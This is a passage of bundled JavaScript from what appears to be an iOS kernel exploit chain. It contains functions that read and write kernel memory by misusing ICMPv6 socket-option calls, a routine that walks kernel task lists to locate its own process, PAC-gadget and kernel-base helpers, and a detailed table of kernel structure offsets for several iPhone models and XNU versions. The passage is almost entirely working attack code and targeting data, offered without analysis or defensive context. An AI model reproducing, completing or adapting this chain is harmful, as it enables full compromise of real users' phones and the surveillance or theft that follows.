CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstrip(val) {\n\t\t//return val & 0x7fffffffffn;\n\t\treturn val | 0xffffff8000000000n;\n\t}\n\n\toffsets() {\n\t\treturn this.#offsets;\n\t}\n\n\tgetPaciaGadget() {\n\t\treturn this.#paciaGadget;\n\t}\n\n\tgetKernelBase() {\n\t\treturn this.#kernelBase;\n\t}\n\t\n\tgetSelfTaskAddr() {\n\t\tconsole.log(TAG, `getSelfTaskAddr`);\n\n\t\tlet selfTaskKaddr = 0;\n\t\tfor (let i=0; i<5; i++)\n\t\t{\n\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(true);\n\t\t\tif (!selfTaskKaddr)\n\t\t\t{\n\t\t\t\tconsole.log(TAG, `Searching the other way around`);\n\t\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(false);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tNative.callSymbol(\"usleep\",20000);\n\t\t}\n\t\treturn selfTaskKaddr;\n\t}\n\n\tthreadSpawn(scriptCFString, threadMem) {\n\t\tconsole.log(TAG, \"threadSpawn() not implemented!\");\n\t\tNative.callSymbol(\"sleep\", 2);\n\t}\n\n\t#findSelfTaskKaddr(direction) {\t\n\t\tlet kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask;\n\t\tconsole.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kernelTaskAddr)}`);\n\t\n\t\tlet kernelTaskVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskAddr);\n\t\t//console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`);\n\t\tlet ourPid = Native.callSymbol(\"getpid\");\n\t\tconsole.log(TAG, `Our pid: ${ourPid}`);\n\t\n\t\tlet nextTask = 0n;\n\t\tif (direction)\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.nextTask);\n\t\telse\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.prevTask);\n\t\t//console.log(TAG, `nextTask: ${Utils.hex(nextTask)}`);\n\n\t\twhile (nextTask != 0 && nextTask != kernelTaskVal) {\n\t\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.procRO);\n\t\t\t//console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`);\n\t\t\tlet procVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\t\t//console.log(TAG,`procVal: ${Utils.hex(procVal)}`);\n\t\t\tif (procVal && this.strip(procVal) > 0xffffffd000000000n) {\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procVal + this.#offsets.pid);\n\t\t\t\t//console.log(TAG, `pid:${pid}`);\n\t\t\t\tif (pid == ourPid) {\n\t\t\t\t\tconsole.log(TAG, `Found our pid`);\n\t\t\t\t\treturn nextTask;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (direction)\n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.nextTask);\n\t\t\t\telse \n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.prevTask);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\t\treturn false;\n\t}\n\n\t#kreadLength(address, buffer, size) {\n\t\t//console.log(TAG, `kread(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet read_offset = 0n;\n\t\tlet read_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\tread_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\tread_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\t\tif (!this.#kread32Bytes(address + read_offset, buffer + read_offset, read_size))\n\t\t\t\treturn false;\n\t\t\tremaining -= read_size;\n\t\t\tread_offset += read_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kwriteLength(address, buffer, size) {\n\t\t//console.log(TAG, `kwrite(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet write_offset = 0n;\n\t\tlet write_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\twrite_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\twrite_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\n\t\t\tlet kwrite_dst_addr = address + write_offset;\n\t\t\tlet kwrite_src_addr = buffer + write_offset;\n\t\n\t\t\tif (write_size != EARLY_KRW_LENGTH) {\n\t\t\t\tif (!this.#kread32Bytes(kwrite_dst_addr, this.#tmpWriteMem, EARLY_KRW_LENGTH))\n\t\t\t\t\treturn false;\n\t\t\t\tNative.callSymbol(\"memcpy\", this.#tmpWriteMem, kwrite_src_addr, write_size);\n\t\t\t\tkwrite_src_addr = this.#tmpWriteMem;\n\t\t\t}\n\t\n\t\t\tif (!this.#kwrite32Bytes(kwrite_dst_addr, kwrite_src_addr))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kread32Bytes(kaddr, buffer, len) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tbuff[0] = BigInt(len);\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tret = Native.callSymbol(\"getsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, tmpBuff);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"getsockopt failed reading \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\t#kwrite32Bytes(kaddr, buffer) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tret = Native.callSymbol(\"setsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt failed writing \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/Offsets.js\":\n/*!************************************!*\\\n !*** ./src/libs/Driver/Offsets.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Offsets)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ \"./src/libs/Chain/OffsetsStruct.js\");\n/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ \"./src/libs/Driver/OffsetsTable.js\");\n\n\n\nconst TAG = \"OFFSETS\"\n\nclass Offsets\n{\n\tstatic getByDeviceAndVersion()\n\t{\n\t\tNative.callSymbol(\"uname\", Native.mem);\n\t\tconst sysname = Native.readString(Native.mem, 0x100);\n\t\tconst nodename = Native.readString(Native.mem + 0x100n, 0x100);\n\t\tconst release = Native.readString(Native.mem + 0x200n, 0x100);\n\t\tconst version = Native.readString(Native.mem + 0x300n, 0x100);\n\t\tconst machine = Native.readString(Native.mem + 0x400n, 0x100);\n\t\tconsole.log(TAG, `release: ${release} with machine: ${machine}`);\n\n\t\tconst buildVer = this.getBuildVersion();\n\t\tconsole.log(TAG, \"Build version: \" + buildVer);\n\n\t\tlet splittedVersion = release.split(\".\");\n\t\tlet xnuMajor = splittedVersion[0];\n\t\tlet xnuMinor = splittedVersion[1];\n\n\t\tlet splittedMachine = machine.split(\",\");\n\t\tlet deviceFamily = splittedMachine[0];\n\t\tlet deviceModel = splittedMachine[1];\n\n\t\tconsole.log(TAG, \"deviceFamily: \" + deviceFamily);\n\n\t\t// Ugly hack to support 17.7, 17.7.1 and 17.7.2\n\t\tif (buildVer) {\n\t\t\tif (buildVer == \"21H16\")\n\t\t\t\txnuMinor = 6.1;\n\t\t\telse if (buildVer == \"21H216\")\n\t\t\t\txnuMinor = 6.2;\n\t\t\telse if (buildVer == \"21H221\")\n\t\t\t\txnuMinor = 6.3;\n\t\t}\n\t\t// Get offsets per device family\n\t\tlet deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily];\n\t\tif (!deviceOffsets) {\n\t\t\tconsole.log(TAG, `Unsupported machine: ${machine}`);\n\t\t\treturn null;\n\t\t}\n\n\t\tlet familyOffsets = deviceOffsets[\"*\"];\n\t\tlet foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor);\n\n\t\tif (!foundFamilyOffsets)\n\t\t\treturn null;\n\n\t\t// Adjustments per device model\n\t\tlet modelOffsets = deviceOffsets[deviceModel];\n\t\tlet foundModelOffsets = null;\n\t\tif (modelOffsets)\n\t\t\tfoundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor);\n\n\t\t// Merge family offsets and device offsets\n\t\tlet foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t\tObject.assign(foundOffsets, foundFamilyOffsets);\n\t\tif (foundModelOffsets)\n\t\t\tObject.assign(foundOffsets, foundModelOffsets);\n\n\t\tif ([\"iPhone15\", \"iPhone16\", \"iPhone17\"].includes(deviceFamily))\n\t\t\tfoundOffsets.T1SZ_BOOT = 17n;\n\t\telse\n\t\t\tfoundOffsets.T1SZ_BOOT = 25n;\n\n\t\tconsole.log(TAG, \"Offsets: \" + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? \"0x\"+v.toString(16) : v, 2));\n\n\t\treturn foundOffsets;\n\t}\n\n\tstatic #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) {\n\t\tlet xnuMajorOffsets = 0;\n\t\tfor (let major in offsets) {\n\t\t\tif (xnuMajor < major)\n\t\t\t\tcontinue;\n\t\t\tif (xnuMajorOffsets < major)\n\t\t\t\txnuMajorOffsets = major;\n\t\t}\n\n\t\tif (!xnuMajorOffsets) {\n\t\t\tconsole.log(TAG, \"Unsupported XNU major: \" + xnuMajor);\n\t\t\treturn null;\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU major: \" + xnuMajorOffsets);\n\t\txnuMajorOffsets = offsets[xnuMajorOffsets];\n\n\t\tlet foundOffsets = {};\n\t\tlet xnuMinorOffsets = -1;\n\t\tconst sortedMinors = Object.keys(xnuMajorOffsets).sort();\n\t\tfor (let minor of sortedMinors) {\n\t\t\t//console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`);\n\t\t\tif (minor > xnuMinor)\n\t\t\t\tbreak;\n\t\t\tif (xnuMinorOffsets < minor) {\n\t\t\t\txnuMinorOffsets = minor;\n\t\t\t\tObject.assign(foundOffsets, xnuMajorOffsets[minor]);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU minor: \" + xnuMinorOffsets);\n\n\t\treturn foundOffsets;\n\t}\n\tstatic getBuildVersion() {\n\t\tconst CTL_KERN = 1;\n\t\tconst KERN_OSVERSION = 65;\n\n\t\tconst mib = new ArrayBuffer(4 * 2);\n\t\tconst mibView = new DataView(mib);\n\t\tmibView.setInt32(0, CTL_KERN, true);\n\t\tmibView.setInt32(4, KERN_OSVERSION, true);\n\n\t\tconst mibAddr = Native.mem;\n\t\tconst resultAddr = Native.mem + 0x100n;\n\t\tconst lengthAddr = Native.mem + 0x200n;\n\n\t\tNative.write(Native.mem, mib);\n\n\t\tlet ret = Native.callSymbol(\"sysctl\", mibAddr, 2, resultAddr, lengthAddr, null, 0);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"Unable to get iOS build version\");\n\t\t\treturn null;\n\t\t}\n\n\t\tconst length = Native.read32(lengthAddr);\n\t\tconst buildVer = Native.readString(resultAddr, length);\n\t\treturn buildVer;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/OffsetsTable.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Driver/OffsetsTable.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ offsets: () => (/* binding */ offsets)\n/* harmony export */ });\nconst offsets = {\n\t// iPhone XS\n\t// iPhone XS Max\n\t// iPhone XS Max Global\n\t// iPhone XR\n\t\"iPhone11\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xe8n,\n\t\t\t\t\tropPid: 0x150n,\n\t\t\t\t\tjopPid: 0x158n,\n\t\t\t\t\tguardExcCode: 0x308n,\n\t\t\t\t\ttaskThreads: 0x348n,\n\t\t\t\t\ttro: 0x358n,\n\t\t\t\t\tast: 0x37cn,\n\t\t\t\t\tmutexData: 0x380n,\n\t\t\t\t\tctid: 0x408n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918210n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x398n,\n\t\t\t\t\tctid: 0x418n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91c638n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x360n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x920a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9209f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x920a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f1548n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f1560n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fd988n,\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f5988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa62b50n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6ac38n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6ad48n,\n \t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x378n,\n \t\t\t\t\ttro: 0x380n,\n \t\t\t\t\tast: 0x3a4n,\n \t\t\t\t\tmutexData: 0x3b0n,\n \t\t\t\t\tctid: 0x430n,\n \t\t\t\t\tmigLock: 0x36971f0n,\n \t\t\t\t\tmigSbxMsg: 0x3697210n,\n \t\t\t\t\tmigKernelStackLR: 0x2f7c1a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x8fc638n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x900a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9009f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x900a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9d1548n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9d1560n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9d9988n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9d1988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa42b50n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n,\n\t\t\t\t\tmigLock: 0x38d74e8n,\n\t\t\t\t\tmigSbxMsg: 0x38d7508n,\n\t\t\t\t\tmigKernelStackLR: 0x31b19e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa4ad48n,\n\t\t\t\t\tmigLock: 0x352e1f0n,\n\t\t\t\t\tmigSbxMsg: 0x352e210n,\n\t\t\t\t\tmigKernelStackLR: 0x2e5ba20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 11\n\t// iPhone 11 Pro\n\t// iPhone 11 Pro Max\n\t// iPhone SE 2\n\t\"iPhone12\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x96c178n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x970588n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9749d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa494a0n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa518c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa498c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n \t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n \t\t\t\t\ttro: 0x390n,\n \t\t\t\t\tast: 0x3b4n,\n \t\t\t\t\tmutexData: 0x3c0n,\n \t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x38e34e8n,\n\t\t\t\t\tmigSbxMsg: 0x38e3508n,\n\t\t\t\t\tmigKernelStackLR: 0x31ba7a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"3\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x960588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9649d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x964938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x964988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa35488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa354a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3d8c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa358c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xab6a90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xabeb78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xac2c88n,\n\t\t\t\t\tmigLock: 0x387a8e8n,\n\t\t\t\t\tmigSbxMsg: 0x387a908n,\n\t\t\t\t\tmigKernelStackLR: 0x3156f20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 12\n\t// iPhone 12 Mini\n\t// iPhone 12 Pro\n\t// iPhone 12 Pro Max\n\t\"iPhone13\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x390n,\n\t\t\t\t\tctid: 0x418n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x94c2d0n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 